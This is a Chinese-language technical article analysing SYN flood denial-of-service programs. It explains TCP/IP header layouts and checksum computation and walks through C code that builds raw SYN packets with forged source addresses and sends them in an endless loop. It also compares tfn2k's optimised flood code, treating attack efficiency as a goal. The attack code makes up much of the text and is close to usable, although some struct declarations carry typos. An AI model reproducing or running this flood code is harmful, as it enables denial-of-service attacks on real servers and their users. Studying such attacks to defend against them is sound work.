synflood程序分析
By:Xy7(B.C.T)
原理:
三次握手
假设一个用户向服务器发送了SYN报文后突然再无回应报文,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的注意后一个确认ACK报文,这种情况下服务器端一般会重试连接并等待一段时间后丢弃这个未完成的连接,这段时间 的长度我们称为SYN Timeout。如果模拟大量的SYN请求,将会导致目标主机无法维护大量的半连接请求,消耗资源,造成synflood。
想要了解synflood的原理首先要了解协议头,一个TCP报文结构如下:
0 1 2 3 4 5 6
0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IP首部 | TCP首部 | TCP数据段 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
其中包含了IP头,TCP头和数据部分。一个TCP报文由三个部分构成:20字节的IP首部、20字节的TCP首部与不定长的数据段。一般如果检测到ip_header_length<20则可以判断为IP头长度错误即为一个畸形包。
接下来看看TCP头的结构,如下图:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位源端口号 | 十六位目标端口号 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位序列号 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位确认号 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 四位 | |U|A|P|R|S|F| |
| 首部 |六位保留位 |R|C|S|S|Y|I| 十六位窗口大小 |
| 长度 | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位校验和 | 十六位紧急指针 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 选项(若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 数据(若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
一般synflood程序都需要自己定义一个TCP头结构包含以上部分,可定义结构如下:
ypedef struct _tcphdr
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度+6位保留字中的4位
unsigned char th_flag; //2位保留字+6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;
通过填充这个结构并将TCP_HEADER.th_flag赋值为2(二进制的00000010)我们能制造一个SYN的TCP报文,各标志位的2进制如下
SYN:00000010
SYN—ACK:00010010
ACK:00010000
ACK—PUSH:00011000
全标志位1:3F
接着需要定义IP头,IP头结构如下:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 版本 | 长度 | 八位服务类型 | 十六位总长度 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位标识 | 标志| 十三位片偏移 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 八位生存时间 | 八位协议 | 十六位首部校验和 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位源IP地址 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位目的IP地址 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 选项(若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 数据 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
定义IP结构
ypedef struct _iphdr
{
unsigned char h_verlen; //4位首部长度+4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议号(TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
然后最重要的就是完成CRC校验功能的函数。简单的说CRC校验的算法流程可以表现为如下形式:
1、 把校验和字段置为0,做初期求和运算
2、 对IP头部中的每16bit二进制累加求和
3、 如果和的高16bit不为0,则将和的高16bit和低16bit反复相加,直到和的高16bit为0,从而获得一个16bit的值;
4、 将该16bit的值取反,存入校验和字段
举个例子来说明如何获取CRC校验的值,看如下IP头:
IP Header – Internet Protocol Datagram
Version: 4
Header Length: 5 (20 bytes)
Differentiated Services:%00000000
0000 00.. Default
…. ..00 Not-ECT
Total Length: 47
Identifier: 57856
Fragmentation Flags: %000
0.. Reserved
.0. May Fragment
..0 Last Fragment
Fragment Offset: 0 (0 bytes)
Time To Live: 3
Protocol: 17 UDP
Header Checksum: 0x5226
Source IP Address: 192.168.1.70
Dest. IP Address: 192.168.1.1
可以看到 Header Checksum: 0x5226,也就是CRC校验值为5226,现在来通过运算得到这个值。
首先需要获取IP头各字段的16进制,直接查看sniffer到的包里就可以的到,值如下:
4500002FE200000003115226C0A80146C0A80101
对应关系如下:
45–
Version: 4
Header Length: 5
00–Differentiated Services:%00000000
002F–Total Length: 47
E200–Identifier: 57856
0000–Fragmentation Flags: %000, Fragment Offset: 0
03–Time To Live: 3
11–Protocol: 17
5226–Header Checksum: 0x5226
C0A80146C0A80101–Source IP Address: 192.168.1.70
Dest. IP Address: 192.168.1.1
然后将高16bit与低16bit相加:4500+002F+E200+0000+0311+0000[初始校验字段为0]+C0A8+0146+C0A8 +0101=2ADD7,这步拿win下的计算器就可以完成,接着进位到高位的16bit与低16bit再相加:0002+ADD7=ADD9,再将这个 16bit值取反结果为:5226。可以看到跟 Header Checksum: 0x5226是一致的。
这是发送时的CRC校验,当目标收到该IP包时也需要进行CRC校验,算法相同,只不过把0000替换为5226,进行累加求和取反,如果得到的CRC校验位的值还原回0000,则校验成功。看一个网上比较流行的CRC校验函数,简单注释了下:
USHORT checksum(USHORT* buffer, int size)
{
unsigned long cksum = 0;//这里初始化CRC校验字段为0
while(size>1)
{
cksum += *buffer++;//各位求和
size -= sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum>>16) + (cksum&0xffff); //先预置一个16 位的CRC寄存器为0xFFFF,然后高低位求和
cksum += (cksum>>16); //将进位到高位的16bit与低16bit 再相加
return (USHORT)(~cksum);//最后取反,存入CRC寄存器中
}
由于TCP首部中不包含源地址与目标地址等信息,为了保证TCP校验的有效性,在进行TCP校验和的计算时,需要增加一个TCP伪首部的校验和,定义如下:
struct
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz; //置空
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}psd_header;
然后将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和:
memcpy( buffer[n], &PsdHeader, sizeof(PsdHeader) );
memcpy( buffer[n] + sizeof(PsdHeader), &TcpHeader, sizeof(TcpHeader) );
TcpHeader.th_sum = CheckSum( (unsigned short *) buffer[n], sizeof(PsdHeader) + sizeof(TcpHeader) );
IP校验:
memcpy( buffer[n], &IpHeader, sizeof(IpHeader) );
memcpy( buffer[n] + sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) );
memset( buffer[n] + sizeof(IpHeader) + sizeof(TcpHeader), 0, 4 );
IpHeader.checksum = CheckSum( (unsigned short *) buffer[n], PACKET_SIZE );
再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区:
memcpy( buffer[n], &IpHeader, sizeof(IpHeader) );
memcpy( buffer[n]+sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) );
然后建立一个原始套接口,由于我IP源是伪造的,需要在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和:
int flag = 1;
if( setsockopt( sock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) < 0 )
{
printf("setsockopt error…%d\n", errno);
exit (-1);
}
一切准备好后再把IP头和TCP头以及伪头的相关字段填充下:
IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long));
IpHeader.tos = 0;
IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));
IpHeader.ident = 1;
IpHeader.frag_and_flags = 0x40;
IpHeader.ttl = 128;
IpHeader.proto = IPPROTO_TCP;
IpHeader.checksum = 0;
IpHeader.sourceIP = inet_addr(src_ip);
IpHeader.destIP = inet_addr(dst_ip);
TcpHeader.th_sport = htons( rand()%60000 + 1 );
TcpHeader.th_dport = htons( dst_port );
TcpHeader.th_seq = htonl( rand()%900000000 + 1 );
TcpHeader.th_ack = 0;
TcpHeader.th_lenres = (sizeof(TcpHeader)/4<<4|0);
TcpHeader.th_flag = 2;
TcpHeader.th_win = htons(512);
TcpHeader.th_sum = 0;
TcpHeader.th_urp = 0;
PsdHeader.saddr = IpHeader.sourceIP;
PsdHeader.daddr = IpHeader.destIP;
PsdHeader.mbz = 0;
PsdHeader.ptcl = IPPROTO_TCP;
PsdHeader.tcpl = htons(sizeof(TcpHeader));
最后就可以发送了:
while( 1 )
{
if( flag < PACKET_NUM )
{
sendto( sock, buffer[flag], PACKET_SIZE, 0, (struct sockaddr *)(&sa), sizeof(struct sockaddr_in) );
outcount ++;
flag ++;
MySleep( sleeptime );
}
else
{
flag = 0;
}
}
close(sock);
}
以上的程序是一个典型的synflood程序结构,没有做太多的优化,可以比较着看下tfn2k的synflood实现:
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u8 ihl:4, ver:4;
#else
u8 ver:4, ihl:4;
#endif
u8 tos;
u16 tl, id, off;
u8 ttl, pro;
u16 sum;
u32 src, dst;
};
struct tcp
{
u16 src, dst;
u32 seq, ack;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u8 x2:4, off:4;
#else
u8 off:4, x2:4;
#endif
u8 flg; /* flag1 | flag2 */
#define FIN 0x01
#define SYN 0x02
#define RST 0x04
#define PUSH 0x08
#define ACK 0x10
#define URG 0x20
u16 win, sum, urp;
};
各标志位都已经定义出来,可以对比着前面的定义看下,这样更简洁高效了
再看下tfn2k如何做CRC校验的,他是分了3步,首先定义一个最初的SUM运算函数:
unsigned long sum(u16 *buff,int len)
{
unsigned long cksum;
for (cksum = 0; len > 0; len-=2)
cksum += *buff++;
return cksum;
}
接着在填充过程中做运算
ipsum=sum((u16*)ih,sizeof(struct ip));
tcpsum=sum((u16*)th,sizeof(struct tcp)+sizeof(tcpopt)+sizeof(struct phdr));
在发送的函数中完成最后一步取反
sumtcp+=((th->seq)&0xffff);
sumtcp+=((th->seq)>>16);
// ptcph->sip=ih->src;
sumtcp+=((ih->src)&0xffff);
sumtcp+=((ih->src)>>16);
sumtcp=(sumtcp>>16)+(sumtcp&0xffff);
sumtcp+=(sumtcp>>16);
th->sum=(u16)(~sumtcp);
这种优化看似分散但确实提高不少效率,可以看到TCP包很多字段都相同,比如协议版本等,那么事先把一些初始化之类的工作放在前面做,包括初期的求和运算,都计算完成后,填充缓冲区的步骤直接放在发送攻击的主函数里,并定义好指向结构的指针:
struct ip *ih = (struct ip *) synb;
struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct tcp)+sizeof(tcpopt));
然后发送的时候直接从结构里取数据,然后组装,最后填入缓冲区发送。就比如定点3分,直接从旁边的框里取篮球,而并不是投完一个再去拣球回来再投,2者的效率可想而知了。
这篇文章初期的分析来自与云舒写的那个synflood程序:http: //www.icylife.net/yunshu/show.php?id=367 ,从中可以很清晰的了解synflood攻击的整个过程,而 tfn2k带来的却是一种成熟的编码方式以及优化措施,能使我们的理解更上一层楼,当然这些都是最基础的分析,tfn2k的魅力远不止如此,等待慢慢发现吧。